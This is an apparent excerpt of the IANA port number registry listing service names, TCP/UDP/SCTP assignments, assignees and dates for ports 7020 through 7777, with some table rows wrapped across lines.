dpserve 7020 tcp DP Serve [Allan_Stanley] [Allan_Stanley]
dpserve 7020 udp DP Serve [Allan_Stanley] [Allan_Stanley]
dpserveadmin 7021 tcp DP Serve Admin [Allan_Stanley] [Allan_Stanley]
dpserveadmin 7021 udp DP Serve Admin [Allan_Stanley] [Allan_Stanley]
ctdp 7022 tcp CT Discovery Protocol [James_Kirkwood] [James_Kirkwood] 2005-06
ctdp 7022 udp CT Discovery Protocol [James_Kirkwood] [James_Kirkwood] 2005-06
ct2nmcs 7023 tcp Comtech T2 NMCS [Bryan_Wilcutt] [Bryan_Wilcutt] 2005-06
ct2nmcs 7023 udp Comtech T2 NMCS [Bryan_Wilcutt] [Bryan_Wilcutt] 2005-06
vmsvc 7024 tcp Vormetric service [Tom_Boyle] [Tom_Boyle] 2005-06
vmsvc 7024 udp Vormetric service [Tom_Boyle] [Tom_Boyle] 2005-06
vmsvc-2 7025 tcp Vormetric Service II [Tom_Boyle] [Tom_Boyle] 2005-06
vmsvc-2 7025 udp Vormetric Service II [Tom_Boyle] [Tom_Boyle] 2005-06
loreji-panel 7026 tcp Loreji Webhosting Panel [J.A._Smit] [DALTCORE] 2018-02-21
7026 udp Reserved
7027-7029 Unassigned
op-probe 7030 tcp ObjectPlanet probe [Bjorn_Jarle_Kvande] [Bjorn_Jarle_Kvande] 2002-04
op-probe 7030 udp ObjectPlanet probe [Bjorn_Jarle_Kvande] [Bjorn_Jarle_Kvande] 2002-04
iposplanet 7031 tcp IPOSPLANET retailing multi [Fabrice_Paget] [Fabrice_Paget] 2012-10-23
devices protocol
7031 udp Reserved
7032-7039 Unassigned
7040 tcp Reserved
quest-disc 7040 udp Quest application level [Quest_Software] [Henrik_Johnson] 2012-04-09
network service discovery
7041-7069 Unassigned
arcp 7070 tcp ARCP [Jude_George] [Jude_George]
arcp 7070 udp ARCP [Jude_George] [Jude_George]
iwg1 7071 tcp IWGADTS Aircraft [Don_Sullivan] [Don_Sullivan] 2010-02-16
Housekeeping Message
iwg1 7071 udp IWGADTS Aircraft [Don_Sullivan] [Don_Sullivan] 2010-02-16
Housekeeping Message
iba-cfg 7072 tcp iba Device Configuration [iba_AG] [Alexander_Melamed] 2018-02-12
Protocol
iba-cfg-disc 7072 udp iba Device Configuration [iba_AG] [Alexander_Melamed] 2018-02-12
Protocol
martalk 7073 tcp MarTalk protocol [Mahr_GmbH_Göttingen] [Kevin_Bube] 2013-09-02
7073 udp Reserved
7074-7079 Unassigned
empowerid 7080 tcp EmpowerID Communication [Matthew_Whited] [Matthew_Whited] 2008-01-16
empowerid 7080 udp EmpowerID Communication [Matthew_Whited] [Matthew_Whited] 2008-01-16
7081-7087 Unassigned
7088 tcp Reserved
zixi-transport 7088 udp Zixi live video transport [Zixi] [Igor_Ratner] 2015-11-16
protocol
7089-7094 Unassigned
jdp-disc 7095 udp Java Discovery Protocol [OpenJDK] [Florian_Weimer] 2013-03-12
7095 tcp Reserved
7096-7098 Unassigned
lazy-ptop 7099 tcp lazy-ptop [Guy_Keren] [Guy_Keren]
lazy-ptop 7099 udp lazy-ptop [Guy_Keren] [Guy_Keren]
font-service 7100 tcp X Font Service [Stephen_Gildea] [Stephen_Gildea]
font-service 7100 udp X Font Service [Stephen_Gildea] [Stephen_Gildea]
elcn 7101 tcp Embedded Light Control [Michael_Scarito] [Michael_Scarito] 2007-02
Network
elcn 7101 udp Embedded Light Control [Michael_Scarito] [Michael_Scarito] 2007-02
Network
7102-7106 Unassigned
7107 tcp Reserved
aes-x170 7107 udp AES-X170 [Richard_Foss] [Richard_Foss] 2011-02-10
7108-7116 Unassigned
rothaga 7117 tcp Encrypted chat and file [Arcadian_Computers] [Jonathan_Pollock] 2016-05-10
transfer service
7117 udp Reserved
7118-7120 Unassigned
virprot-lm 7121 tcp Virtual Prototypes License [Victor_Galis] [Victor_Galis]
Manager
virprot-lm 7121 udp Virtual Prototypes License [Victor_Galis] [Victor_Galis]
Manager
7122-7127 Unassigned
scenidm 7128 tcp intelligent data manager [Paul_Ignatius] [Paul_Ignatius] 2006-03
scenidm 7128 udp intelligent data manager [Paul_Ignatius] [Paul_Ignatius] 2006-03
scenccs 7129 tcp Catalog Content Search [Anil_Sharma] [Anil_Sharma] 2006-04
scenccs 7129 udp Catalog Content Search [Anil_Sharma] [Anil_Sharma] 2006-04
7130-7160 Unassigned
cabsm-comm 7161 tcp CA BSM Comm [Chun_Ho_Chang] [Chun_Ho_Chang] 2004-11
cabsm-comm 7161 udp CA BSM Comm [Chun_Ho_Chang] [Chun_Ho_Chang] 2004-11
caistoragemgr 7162 tcp CA Storage Manager [Emre_Tunar] [Emre_Tunar] 2004-11
caistoragemgr 7162 udp CA Storage Manager [Emre_Tunar] [Emre_Tunar] 2004-11
cacsambroker 7163 tcp CA Connection Broker [David_Roberts] [David_Roberts] 2005-05
cacsambroker 7163 udp CA Connection Broker [David_Roberts] [David_Roberts] 2005-05
fsr 7164 tcp File System Repository Agent [Micha_Ben_Efraim] [Micha_Ben_Efraim] 2007-07-19
fsr 7164 udp File System Repository Agent [Micha_Ben_Efraim] [Micha_Ben_Efraim] 2007-07-19
doc-server 7165 tcp Document WCF Server [Micha_Ben_Efraim] [Micha_Ben_Efraim] 2008-01-07
doc-server 7165 udp Document WCF Server [Micha_Ben_Efraim] [Micha_Ben_Efraim] 2008-01-07
aruba-server 7166 tcp Aruba eDiscovery Server [Micha_Ben_Efraim] [Micha_Ben_Efraim] 2008-01-07
aruba-server 7166 udp Aruba eDiscovery Server [Micha_Ben_Efraim] [Micha_Ben_Efraim] 2008-01-07
casrmagent 7167 tcp CA SRM Agent [Venkata_Krishna] [Venkata_Krishna] 2010-02-24
7167 udp Reserved
cnckadserver 7168 tcp cncKadServer DB & Inventory [Micha_Ben_Efraim_2] [Micha_Ben_Efraim_2] 2011-01-31
Services
7168 udp Reserved
ccag-pib 7169 tcp Consequor Consulting Process [Frank_Goenninger] [Frank_Goenninger] 2010-02-22
Integration Bridge
ccag-pib 7169 udp Consequor Consulting Process [Frank_Goenninger] [Frank_Goenninger] 2010-02-22
Integration Bridge
nsrp 7170 tcp Adaptive Name/Service [Geoff_Back_2] [Geoff_Back_2] 2010-02-01
Resolution
nsrp 7170 udp Adaptive Name/Service [Geoff_Back_2] [Geoff_Back_2] 2010-02-01
Resolution
drm-production 7171 tcp Discovery and Retention Mgt [Micha_Ben_Efraim_3] [Micha_Ben_Efraim_3] 2010-02-18
Production
drm-production 7171 udp Discovery and Retention Mgt [Micha_Ben_Efraim_3] [Micha_Ben_Efraim_3] 2010-02-18
Production
metalbend 7172 tcp Port used for MetalBend [Micha_Ben_Efraim_4] [Micha_Ben_Efraim_4] 2012-11-27
programmable interface
7172 udp Reserved
zsecure 7173 tcp zSecure Server [Hans_Schoone] [Hans_Schoone] 2010-10-01
7173 udp Reserved
clutild 7174 tcp Clutild [Cheryl_Stoutenburg] [Cheryl_Stoutenburg]
clutild 7174 udp Clutild [Cheryl_Stoutenburg] [Cheryl_Stoutenburg]
7175-7180 Unassigned
janus-disc 7181 udp Janus Guidewire Enterprise [Guidewire_Software_Inc] [Luca_Debiasi] 2014-02-06
Discovery Service Bus
7181 tcp Reserved
7182-7199 Unassigned
fodms 7200 tcp FODMS FLIP [David_Anthony] [David_Anthony]
fodms 7200 udp FODMS FLIP [David_Anthony] [David_Anthony]
dlip 7201 tcp DLIP [Albert_Manfredi] [Albert_Manfredi]
dlip 7201 udp DLIP [Albert_Manfredi] [Albert_Manfredi]
[TR-352][Inter-Channel-Termination protocol
(ICTP) is a peer-to-peer protocol with a
binary message format that is used by a set
Inter-Channel Termination of optical line terminal (OLT) channel
Protocol (ICTP) for terminations (CT) comprising a
pon-ictp 7202 tcp multi-wavelength PON [Broadband_Forum_2] [William_Lupton] 2017-02-22 40-Gigabit-capable next-generation passive
(Passive Optical Network) optical network (NG-PON2) system to exchange
systems channel profile configuration and status
information and to coordinate the operation
of tunable optical network units (ONUs) in a
multi-wavelength channel environment.]
7702 udp Reserved
7203-7214 Unassigned
PS-Server 7215 tcp Communication ports for [PFU_Systems_Inc.] [Hari_Asuri] 2016-02-26
PaperStream Server services
7215 udp Reserved
PS-Capture-Pro 7216 tcp PaperStream Capture [PFU_Systems_Inc.] [Hari_Asuri] 2016-02-26
Professional
7216 udp Reserved
7217-7226 Unassigned
ramp 7227 tcp Registry A & M Protocol [John_Havard] [John_Havard] 2003-11
ramp 7227 udp Registry A $ M Protocol [John_Havard] [John_Havard] 2003-11
citrixupp 7228 tcp Citrix Universal Printing [Gary_Barton] [Gary_Barton] 2011-02-24
Port
7228 udp Reserved
citrixuppg 7229 tcp Citrix UPP Gateway [Gary_Barton] [Gary_Barton] 2011-02-24
7229 udp Reserved
7230-7234 Unassigned
aspcoordination 7235 udp ASP Coordination Protocol [Wi-Fi_Alliance_2] [Mick_Conley] 2013-12-31
7235 tcp Reserved
display 7236 tcp Wi-Fi Alliance Wi-Fi Display [Wi-Fi_Alliance] [Thomas_Sciorilli] 2012-04-09 Defined TXT keys: _display.tcp. Display Protocol
Protocol
7236 udp Reserved
pads 7237 tcp PADS (Public Area Display [Willie_Jan_Bons] [Willie_Jan_Bons] 2011-03-10
System) Server
7237 udp Reserved
7238-7243 Unassigned
frc-hicp 7244 tcp FrontRow Calypso Human [Frontrow_Calypso_LLC] [Scott_Halberg] 2016-04-19
Interface Control Protocol
frc-hicp-disc 7244 udp FrontRow Calypso Human [Frontrow_Calypso_LLC] [Scott_Halberg] 2016-04-19
Interface Control Protocol
7245-7261 Unassigned
cnap 7262 tcp Calypso Network Access [Frontrow_Calypso_LLC] [Scott_Halberg] 2009-06-02
Protocol
cnap 7262 udp Calypso Network Access [Frontrow_Calypso_LLC] [Scott_Halberg] 2009-06-02
Protocol
7263-7271 Unassigned
watchme-7272 7272 tcp WatchMe Monitoring 7272 [Oliver_Heinz] [Oliver_Heinz] 2005-08
watchme-7272 7272 udp WatchMe Monitoring 7272 [Oliver_Heinz] [Oliver_Heinz] 2005-08
oma-rlp 7273 tcp OMA Roaming Location [Larry_A_Young] [Larry_A_Young] 2005-08
oma-rlp 7273 udp OMA Roaming Location [Larry_A_Young] [Larry_A_Young] 2005-08
oma-rlp-s 7274 tcp OMA Roaming Location SEC [Larry_A_Young] [Larry_A_Young] 2005-08
oma-rlp-s 7274 udp OMA Roaming Location SEC [Larry_A_Young] [Larry_A_Young] 2005-08
oma-ulp 7275 tcp OMA UserPlane Location [Larry_A_Young_2] [Larry_A_Young_2] 2006-02
oma-ulp 7275 udp OMA UserPlane Location [Larry_A_Young_2] [Larry_A_Young_2] 2006-02
oma-ilp 7276 tcp OMA Internal Location [Khiem_Tran] [Khiem_Tran] 2007-11-06
Protocol
oma-ilp 7276 udp OMA Internal Location [Khiem_Tran] [Khiem_Tran] 2007-11-06
Protocol
oma-ilp-s 7277 tcp OMA Internal Location Secure [Khiem_Tran] [Khiem_Tran] 2007-11-06
Protocol
oma-ilp-s 7277 udp OMA Internal Location Secure [Khiem_Tran] [Khiem_Tran] 2007-11-06
Protocol
oma-dcdocbs 7278 tcp OMA Dynamic Content Delivery [Avi_Primo] [Avi_Primo] 2008-01-29
over CBS
oma-dcdocbs 7278 udp OMA Dynamic Content Delivery [Avi_Primo] [Avi_Primo] 2008-01-29
over CBS
ctxlic 7279 tcp Citrix Licensing [Marc_Binstock] [Marc_Binstock] 2008-01-29
ctxlic 7279 udp Citrix Licensing [Marc_Binstock] [Marc_Binstock] 2008-01-29
itactionserver1 7280 tcp ITACTIONSERVER 1 [Brian_Taylor] [Brian_Taylor]
itactionserver1 7280 udp ITACTIONSERVER 1 [Brian_Taylor] [Brian_Taylor]
itactionserver2 7281 tcp ITACTIONSERVER 2 [Brian_Taylor] [Brian_Taylor]
itactionserver2 7281 udp ITACTIONSERVER 2 [Brian_Taylor] [Brian_Taylor]
mzca-action 7282 tcp eventACTION/ussACTION (MZCA) [Gord_Tomlin] [Gord_Tomlin] 2009-01-30
server
mzca-alert 7282 udp eventACTION/ussACTION (MZCA) [Gord_Tomlin] [Gord_Tomlin] 2010-01-21
alert
genstat 7283 tcp General Statistics [VSN_International_Ltd] [Sean_D_Sollé] 2011-09-28
Rendezvous Protocol
7283 udp Reserved
7284-7299 Unassigned
swx 7300-7359 The Swiss Exchange [Edgar_Blum] [Edgar_Blum]
7360-7364 Unassigned 2006-02-06
lcm-server 7365 tcp LifeKeeper Communications [James_Bottomley] [James_Bottomley] 2006-02
lcm-server 7365 udp LifeKeeper Communications [James_Bottomley] [James_Bottomley] 2006-02
7366-7390 Unassigned 2006-02-06
mindfilesys 7391 tcp mind-file system server [Dave_Porter] [Dave_Porter]
mindfilesys 7391 udp mind-file system server [Dave_Porter] [Dave_Porter]
mrssrendezvous 7392 tcp mrss-rendezvous server [Dave_Porter] [Dave_Porter]
mrssrendezvous 7392 udp mrss-rendezvous server [Dave_Porter] [Dave_Porter]
nfoldman 7393 tcp nFoldMan Remote Publish [Richard_McDonald] [Richard_McDonald] 2006-01
nfoldman 7393 udp nFoldMan Remote Publish [Richard_McDonald] [Richard_McDonald] 2006-01
fse 7394 tcp File system export of backup [Weibao_Wu] [Weibao_Wu] 2006-04
images
fse 7394 udp File system export of backup [Weibao_Wu] [Weibao_Wu] 2006-04
images
winqedit 7395 tcp winqedit [David_Greer] [David_Greer]
winqedit 7395 udp winqedit [David_Greer] [David_Greer]
7396 Unassigned
hexarc 7397 tcp Hexarc Command Language [George_Moromisato] [George_Moromisato] 2004-11
hexarc 7397 udp Hexarc Command Language [George_Moromisato] [George_Moromisato] 2004-11
7398-7399 Unassigned
rtps-discovery 7400 tcp RTPS Discovery [Gerardo_Pardo_Castel] [Gerardo_Pardo_Castel] 2005-10
rtps-discovery 7400 udp RTPS Discovery [Gerardo_Pardo_Castel] [Gerardo_Pardo_Castel] 2005-10
rtps-dd-ut 7401 tcp RTPS Data-Distribution [Gerardo_Pardo_Castel] [Gerardo_Pardo_Castel] 2005-10
User-Traffic
rtps-dd-ut 7401 udp RTPS Data-Distribution [Gerardo_Pardo_Castel] [Gerardo_Pardo_Castel] 2005-10
User-Traffic
rtps-dd-mt 7402 tcp RTPS Data-Distribution [Gerardo_Pardo_Castel] [Gerardo_Pardo_Castel] 2005-10
Meta-Traffic
rtps-dd-mt 7402 udp RTPS Data-Distribution [Gerardo_Pardo_Castel] [Gerardo_Pardo_Castel] 2005-10
Meta-Traffic
7403-7409 Unassigned
ionixnetmon 7410 tcp Ionix Network Monitor [Maxime_Renaud] [Maxime_Renaud] 2006-04
ionixnetmon 7410 udp Ionix Network Monitor [Maxime_Renaud] [Maxime_Renaud] 2006-04
daqstream 7411 tcp Streaming of measurement [Hottinger_Baldwin_Messtechnik_GmbH] [Stephan_Gatzka] 2013-03-15
data
daqstream 7411 udp Streaming of measurement [Hottinger_Baldwin_Messtechnik_GmbH] [Stephan_Gatzka] 2013-03-15
data
7412-7419 Unassigned
7420 tcp Reserved
ipluminary 7420 udp Multichannel real-time [Tristan_Seifert_3] [Tristan_Seifert_3] 2018-01-18
lighting control
mtportmon 7421 tcp Matisse Port Monitor [Didier_Cabannes] [Didier_Cabannes] 2004-11
mtportmon 7421 udp Matisse Port Monitor [Didier_Cabannes] [Didier_Cabannes] 2004-11
7422-7425 Unassigned
pmdmgr 7426 tcp OpenView DM Postmaster [Dave_Lamb] [Dave_Lamb]
Manager
pmdmgr 7426 udp OpenView DM Postmaster [Dave_Lamb] [Dave_Lamb]
Manager
oveadmgr 7427 tcp OpenView DM Event Agent [Dave_Lamb] [Dave_Lamb]
Manager
oveadmgr 7427 udp OpenView DM Event Agent [Dave_Lamb] [Dave_Lamb]
Manager
ovladmgr 7428 tcp OpenView DM Log Agent [Dave_Lamb] [Dave_Lamb]
Manager
ovladmgr 7428 udp OpenView DM Log Agent [Dave_Lamb] [Dave_Lamb]
Manager
opi-sock 7429 tcp OpenView DM rqt [Dave_Lamb] [Dave_Lamb]
communication
opi-sock 7429 udp OpenView DM rqt [Dave_Lamb] [Dave_Lamb]
communication
xmpv7 7430 tcp OpenView DM xmpv7 api pipe [Dave_Lamb] [Dave_Lamb]
xmpv7 7430 udp OpenView DM xmpv7 api pipe [Dave_Lamb] [Dave_Lamb]
pmd 7431 tcp OpenView DM ovc/xmpv3 api [Dave_Lamb] [Dave_Lamb]
pipe
pmd 7431 udp OpenView DM ovc/xmpv3 api [Dave_Lamb] [Dave_Lamb]
pipe
7432-7436 Unassigned
faximum 7437 tcp Faximum [George_Pajari] [George_Pajari]
faximum 7437 udp Faximum [George_Pajari] [George_Pajari]
7438-7442 Unassigned
oracleas-https 7443 tcp Oracle Application Server [David_McMarlin] [David_McMarlin] 2006-08
HTTPS
oracleas-https 7443 udp Oracle Application Server [David_McMarlin] [David_McMarlin] 2006-08
HTTPS
7444-7470 Unassigned
sttunnel 7471 tcp Stateless Transport [Bruce_Davie_3] [Bruce_Davie_3] 2014-04-28
Tunneling Protocol
7471 udp Reserved
7472 Unassigned
rise 7473 tcp Rise: The Vieneo Province [Jason_Reskin] [Jason_Reskin] 2007-03
rise 7473 udp Rise: The Vieneo Province [Jason_Reskin] [Jason_Reskin] 2007-03
neo4j 7474 tcp Neo4j Graph Database [Neo_Technology_Inc] [Julian_Simpson] 2013-02-08
7474 udp Reserved
7475-7477 Unassigned
openit 7478 tcp IT Asset Management [OpeniT_Inc] [Monette_Maano] 2016-11-17
7478 udp Reserved
7479-7490 Unassigned
telops-lmd 7491 tcp telops-lmd [David_Spencer] [David_Spencer]
telops-lmd 7491 udp telops-lmd [David_Spencer] [David_Spencer]
Known
7492-7499 Unassigned Unauthorized
Use on port
7499
silhouette 7500 tcp Silhouette User [Anthony_Payne] [Anthony_Payne] 2004-02
silhouette 7500 udp Silhouette User [Anthony_Payne] [Anthony_Payne] 2004-02
Known
ovbus 7501 tcp HP OpenView Bus Daemon [David_M_Rhodes] [David_M_Rhodes] Unauthorized
Use on port
7501
Known
ovbus 7501 udp HP OpenView Bus Daemon [David_M_Rhodes] [David_M_Rhodes] Unauthorized
Use on port
7501
7502-7507 Unassigned
adcp 7508 tcp Automation Device [Festo_AG] [Joerg_Ullmann] 2011-05-27 2012-07-26
Configuration Protocol
7508 udp Reserved
acplt 7509 tcp ACPLT - process automation [Chair_for_Process_Control_Engineering] [Ulrich_Epple] 2010-12-07 2012-08-07
service
7509 udp Reserved
ovhpas 7510 tcp HP OpenView Application [Jeff_Conrad] [Jeff_Conrad]
Server
ovhpas 7510 udp HP OpenView Application [Jeff_Conrad] [Jeff_Conrad]
Server
pafec-lm 7511 tcp pafec-lm [Billy_Dhillon] [Billy_Dhillon]
pafec-lm 7511 udp pafec-lm [Billy_Dhillon] [Billy_Dhillon]
7512-7541 Unassigned
saratoga 7542 tcp Saratoga Transfer Protocol [Lloyd_Wood] [Lloyd_Wood] 2007-05
saratoga 7542 udp Saratoga Transfer Protocol [Lloyd_Wood] [Lloyd_Wood] 2007-05
atul 7543 tcp atul server [Mark_Stapp] [Mark_Stapp] 2006-01
atul 7543 udp atul server [Mark_Stapp] [Mark_Stapp] 2006-01
nta-ds 7544 tcp FlowAnalyzer DisplayServer [Fred_Messinger] [Fred_Messinger]
nta-ds 7544 udp FlowAnalyzer DisplayServer [Fred_Messinger] [Fred_Messinger]
nta-us 7545 tcp FlowAnalyzer UtilityServer [Fred_Messinger] [Fred_Messinger]
nta-us 7545 udp FlowAnalyzer UtilityServer [Fred_Messinger] [Fred_Messinger]
cfs 7546 tcp Cisco Fabric service [Rituparna_Agrawal] [Rituparna_Agrawal] 2005-09
cfs 7546 udp Cisco Fabric service [Rituparna_Agrawal] [Rituparna_Agrawal] 2005-09
cwmp 7547 tcp DSL Forum CWMP [Anton_Okmianski] [Anton_Okmianski] 2006-01
cwmp 7547 udp DSL Forum CWMP [Anton_Okmianski] [Anton_Okmianski] 2006-01
tidp 7548 tcp Threat Information [Chui_Tin_Yen] [Chui_Tin_Yen] 2006-02
Distribution Protocol
tidp 7548 udp Threat Information [Chui_Tin_Yen] [Chui_Tin_Yen] 2006-02
Distribution Protocol
nls-tl 7549 tcp Network Layer Signaling [Melinda_Shore] [Melinda_Shore] 2006-05
Transport Layer
nls-tl 7549 udp Network Layer Signaling [Melinda_Shore] [Melinda_Shore] 2006-05
Transport Layer
7550 tcp Reserved
cloudsignaling 7550 udp Cloud Signaling Service [Scott_Dawson] [Scott_Dawson] 2011-07-01
controlone-con 7551 tcp ControlONE Console signaling [BYNE] [Andre_Nazario] 2014-11-07 2017-06-13
7551 udp Reserved
7552-7559 Unassigned
sncp 7560 tcp Sniffer Command Protocol [Dominick_Cafarelli] [Dominick_Cafarelli] 2005-08
sncp 7560 udp Sniffer Command Protocol [Dominick_Cafarelli] [Dominick_Cafarelli] 2005-08
7561-7562 Unassigned
cfw 7563 tcp Control Framework [RFC6230]
7563 udp Reserved
7564-7565 Unassigned
vsi-omega 7566 tcp VSI Omega [Curtis_Smith] [Curtis_Smith]
vsi-omega 7566 udp VSI Omega [Curtis_Smith] [Curtis_Smith]
7567-7568 Unassigned
dell-eql-asm 7569 tcp Dell EqualLogic Host Group [James_E_King_III] [James_E_King_III]
Management
7569 udp Reserved
aries-kfinder 7570 tcp Aries Kfinder [James_King_III] [James_King_III]
aries-kfinder 7570 udp Aries Kfinder [James_King_III] [James_King_III]
7571-7573 Unassigned
coherence 7574 tcp Oracle Coherence Cluster [Oracle_5] [Mark_Falco] 2014-07-09
Service
coherence-disc 7574 udp Oracle Coherence Cluster [Oracle_5] [Mark_Falco] 2014-07-09
discovery service
7575-7587 Unassigned
sun-lm 7588 tcp Sun License Manager [Sophie_Deng] [Sophie_Deng]
sun-lm 7588 udp Sun License Manager [Sophie_Deng] [Sophie_Deng]
7589-7605 Unassigned
mipi-debug 7606 tcp MIPI Alliance Debug [MIPI_Alliance] [Peter_Lefkin] 2016-02-26
mipi-debug 7606 udp MIPI Alliance Debug [MIPI_Alliance] [Peter_Lefkin] 2016-02-26
7607-7623 Unassigned
indi 7624 tcp Instrument Neutral [Elwood_Downey] [Elwood_Downey] 2002-04
Distributed Interface
indi 7624 udp Instrument Neutral [Elwood_Downey] [Elwood_Downey] 2002-04
Distributed Interface
7625 Unassigned
simco 7626 tcp SImple Middlebox [RFC4540]
COnfiguration (SIMCO) Server
7626 udp De-registered 2006-01-30
simco 7626 sctp SImple Middlebox [Sebastian_Kiesel] [Sebastian_Kiesel] 2006-01
COnfiguration (SIMCO)
soap-http 7627 tcp SOAP Service Port [Donald_Dylla] [Donald_Dylla] 2004-12
soap-http 7627 udp SOAP Service Port [Donald_Dylla] [Donald_Dylla] 2004-12
zen-pawn 7628 tcp Primary Agent Work [Ty_Ellis] [Ty_Ellis] 2006-05
Notification
zen-pawn 7628 udp Primary Agent Work [Ty_Ellis] [Ty_Ellis] 2006-05
Notification
xdas 7629 tcp OpenXDAS Wire Protocol [John_Calcote_2] [John_Calcote_2] 2006-10
xdas 7629 udp OpenXDAS Wire Protocol [John_Calcote_2] [John_Calcote_2] 2006-10
hawk 7630 tcp HA Web Konsole [Tim_Serong] [Tim_Serong] 2010-03-31
7630 udp Reserved
tesla-sys-msg 7631 tcp TESLA System Messaging [Andy_Perreault] [Andy_Perreault] 2010-03-31
7631 udp Reserved
7632 Unassigned
pmdfmgt 7633 tcp PMDF Management [Hunter_Goatley] [Hunter_Goatley]
pmdfmgt 7633 udp PMDF Management [Hunter_Goatley] [Hunter_Goatley]
7634-7647 Unassigned
cuseeme 7648 tcp bonjour-cuseeme [Marc_Manthey] [Marc_Manthey] 2006-07
cuseeme 7648 udp bonjour-cuseeme [Marc_Manthey] [Marc_Manthey] 2006-07
7649-7662 Unassigned
rome 7663 tcp Proprietary immutable [TFOR] [David_von_Vistauxx] 2018-02-07
distributed data storage
rome 7663 udp Proprietary immutable [TFOR] [David_von_Vistauxx] 2018-02-07
distributed data storage
7664-7671 Unassigned
imqstomp 7672 tcp iMQ STOMP Server [Amy_Kang] [Amy_Kang] 2009-03-10
7672 udp Reserved
imqstomps 7673 tcp iMQ STOMP Server over SSL [Amy_Kang] [Amy_Kang] 2009-03-10
7673 udp Reserved
imqtunnels 7674 tcp iMQ SSL tunnel [Shailesh_S_Bavadeka] [Shailesh_S_Bavadeka] 2002-04
imqtunnels 7674 udp iMQ SSL tunnel [Shailesh_S_Bavadeka] [Shailesh_S_Bavadeka] 2002-04
imqtunnel 7675 tcp iMQ Tunnel [Shailesh_S_Bavadeka] [Shailesh_S_Bavadeka] 2002-04
imqtunnel 7675 udp iMQ Tunnel [Shailesh_S_Bavadeka] [Shailesh_S_Bavadeka] 2002-04
imqbrokerd 7676 tcp iMQ Broker Rendezvous [Joseph_Di_Pol] [Joseph_Di_Pol] 2002-04
imqbrokerd 7676 udp iMQ Broker Rendezvous [Joseph_Di_Pol] [Joseph_Di_Pol] 2002-04
sun-user-https 7677 tcp Sun App Server - HTTPS [Abhijit_Kumar] [Abhijit_Kumar] 2005-11
sun-user-https 7677 udp Sun App Server - HTTPS [Abhijit_Kumar] [Abhijit_Kumar] 2005-11
7678-7679 Unassigned
pando-pub 7680 tcp Pando Media Public [Laird_Popkin] [Laird_Popkin] 2008-02-27
Distribution
pando-pub 7680 udp Pando Media Public [Laird_Popkin] [Laird_Popkin] 2008-02-27
Distribution
7681-7682 Unassigned
dmt 7683 tcp Cleondris DMT [Cleondris_GmbH] [Christian_Plattner] 2015-03-31
7683 udp Reserved
7684-7686 Unassigned
bolt 7687 tcp Bolt database connection [Neo_Technology_Inc] [Julian_Simpson] 2016-09-29
7687 udp Reserved
7688 Unassigned
collaber 7689 tcp Collaber Network Service [Rajesh_Akkineni] [Rajesh_Akkineni] 2007-01
collaber 7689 udp Collaber Network Service [Rajesh_Akkineni] [Rajesh_Akkineni] 2007-01
7690-7696 Unassigned
klio 7697 tcp KLIO communications [Helmut_Giritzer_2] [Helmut_Giritzer_2] 2005-08
klio 7697 udp KLIO communications [Helmut_Giritzer_2] [Helmut_Giritzer_2] 2005-08
7698-7699 Unassigned
em7-secom 7700 tcp EM7 Secure Communications [Christopher_Cordray] [Christopher_Cordray] 2008-06-05
7700 udp Reserved
7701 tcp Reserved
7701 udp Reserved
nfapi 7701 sctp SCF nFAPI defining MAC/PHY [Small_Cell_Forum] [Richard_Kennedy] 2017-01-24
split
7702-7706 Unassigned
sync-em7 7707 tcp EM7 Dynamic Updates [Christopher_Cordray] [Christopher_Cordray] 2004-11
sync-em7 7707 udp EM7 Dynamic Updates [Christopher_Cordray] [Christopher_Cordray] 2004-11
scinet 7708 tcp scientia.net [Christoph_Anton_Mitt] [Christoph_Anton_Mitt] 2006-01
scinet 7708 udp scientia.net [Christoph_Anton_Mitt] [Christoph_Anton_Mitt] 2006-01
7709-7719 Unassigned
medimageportal 7720 tcp MedImage Portal [Robert_Helton] [Robert_Helton] 2003-10
medimageportal 7720 udp MedImage Portal [Robert_Helton] [Robert_Helton] 2003-10
7721-7723 Unassigned
nsdeepfreezectl 7724 tcp Novell Snap-in Deep Freeze [David_Crowe] [David_Crowe] 2008-01-07
Control
nsdeepfreezectl 7724 udp Novell Snap-in Deep Freeze [David_Crowe] [David_Crowe] 2008-01-07
Control
nitrogen 7725 tcp Nitrogen Service [Randy_Lomnes] [Randy_Lomnes] 2004-11
nitrogen 7725 udp Nitrogen Service [Randy_Lomnes] [Randy_Lomnes] 2004-11
freezexservice 7726 tcp FreezeX Console Service [David_Crowe] [David_Crowe] 2005-06
freezexservice 7726 udp FreezeX Console Service [David_Crowe] [David_Crowe] 2005-06
trident-data 7727 tcp Trident Systems Data [Jeremy_McClintock] [Jeremy_McClintock] 2005-08
trident-data 7727 udp Trident Systems Data [Jeremy_McClintock] [Jeremy_McClintock] 2005-08
osvr 7728 tcp Open-Source Virtual Reality [Open_Source_Virtual_Reality_OSVR.com] [Yuval_Boger_2] 2015-07-14
osvr 7728 udp Open-Source Virtual Reality [Open_Source_Virtual_Reality_OSVR.com] [Yuval_Boger_2] 2015-07-14
osvr 7728 sctp Open-Source Virtual Reality [Open_Source_Virtual_Reality_OSVR.com] [Yuval_Boger_2] 2015-07-14
7729-7733 Unassigned
smip 7734 tcp Smith Protocol over IP [Jim_Pettinato] [Jim_Pettinato] 2007-04
smip 7734 udp Smith Protocol over IP [Jim_Pettinato] [Jim_Pettinato] 2007-04
7735-7737 Unassigned
aiagent 7738 tcp HP Enterprise Discovery [Matthew_Darwin] [Matthew_Darwin] 2005-08
Agent
aiagent 7738 udp HP Enterprise Discovery [Matthew_Darwin] [Matthew_Darwin] 2005-08
Agent
7739-7740 Unassigned
scriptview 7741 tcp ScriptView Network [Reinhard_Wolf] [Reinhard_Wolf] 2010-08-19
scriptview 7741 udp ScriptView Network [Reinhard_Wolf] [Reinhard_Wolf] 2010-08-19
msss 7742 tcp Mugginsoft Script Server [Jonathan_Mitchell] [Jonathan_Mitchell] 2008-09-08
Service
7742 udp Reserved
sstp-1 7743 tcp Sakura Script Transfer [Kouichi_Takeda] [Kouichi_Takeda]
Protocol
sstp-1 7743 udp Sakura Script Transfer [Kouichi_Takeda] [Kouichi_Takeda]
Protocol
raqmon-pdu 7744 tcp RAQMON PDU [RFC4712]
raqmon-pdu 7744 udp RAQMON PDU [RFC4712]
7745-7746 Unassigned
prgp 7747 tcp Put/Run/Get Protocol [Jayasooriah] [Jayasooriah] 2008-02-22
prgp 7747 udp Put/Run/Get Protocol [Jayasooriah] [Jayasooriah] 2008-02-22
7748-7776 Unassigned
inetfs 7775 tcp A File System using TLS over [Roger_Allan] [Roger_Allan] 2016-01-28
a wide area network
7775 udp Reserved
7776 Unassigned
Known
cbt 7777 tcp cbt [Tony_Ballardie] [Tony_Ballardie] Unauthorized
Use on port
7777
